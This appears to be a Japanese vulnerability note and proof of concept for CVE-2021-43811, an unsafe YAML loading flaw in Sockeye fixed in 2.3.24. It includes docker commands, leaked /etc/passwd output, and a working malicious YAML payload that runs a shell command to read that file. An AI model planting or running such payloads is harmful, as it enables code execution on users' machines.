awslabs/sockeye 安全でないYAML読み込みによるコードインジェクション CVE-2021-43811
Sockeyeは、PyTorch上に構築されたニューラル機械翻訳のためのオープンソースのシーケンス変換フレームワークです。Sockeyeはモデルとデータの設定をディスク上に保存するためにYAMLを使用します。2.3.24より前のバージョンでは安全でないYAML読み込みを使用しており、設定ファイルに埋め込まれた任意のコードを実行させることができます。攻撃者は、学習済みモデルの設定ファイルに悪意のあるコードを追加し、ユーザーにダウンロードして実行するよう説得しようとする可能性があります。ユーザーがモデルを実行すると、埋め込まれたコードがローカルで実行されます。この問題はバージョン2.3.24で修正されています。

docker build -t cve-2021-43811 .
docker run -it --rm cve-2021-43811
出力 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --

malicious.yml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"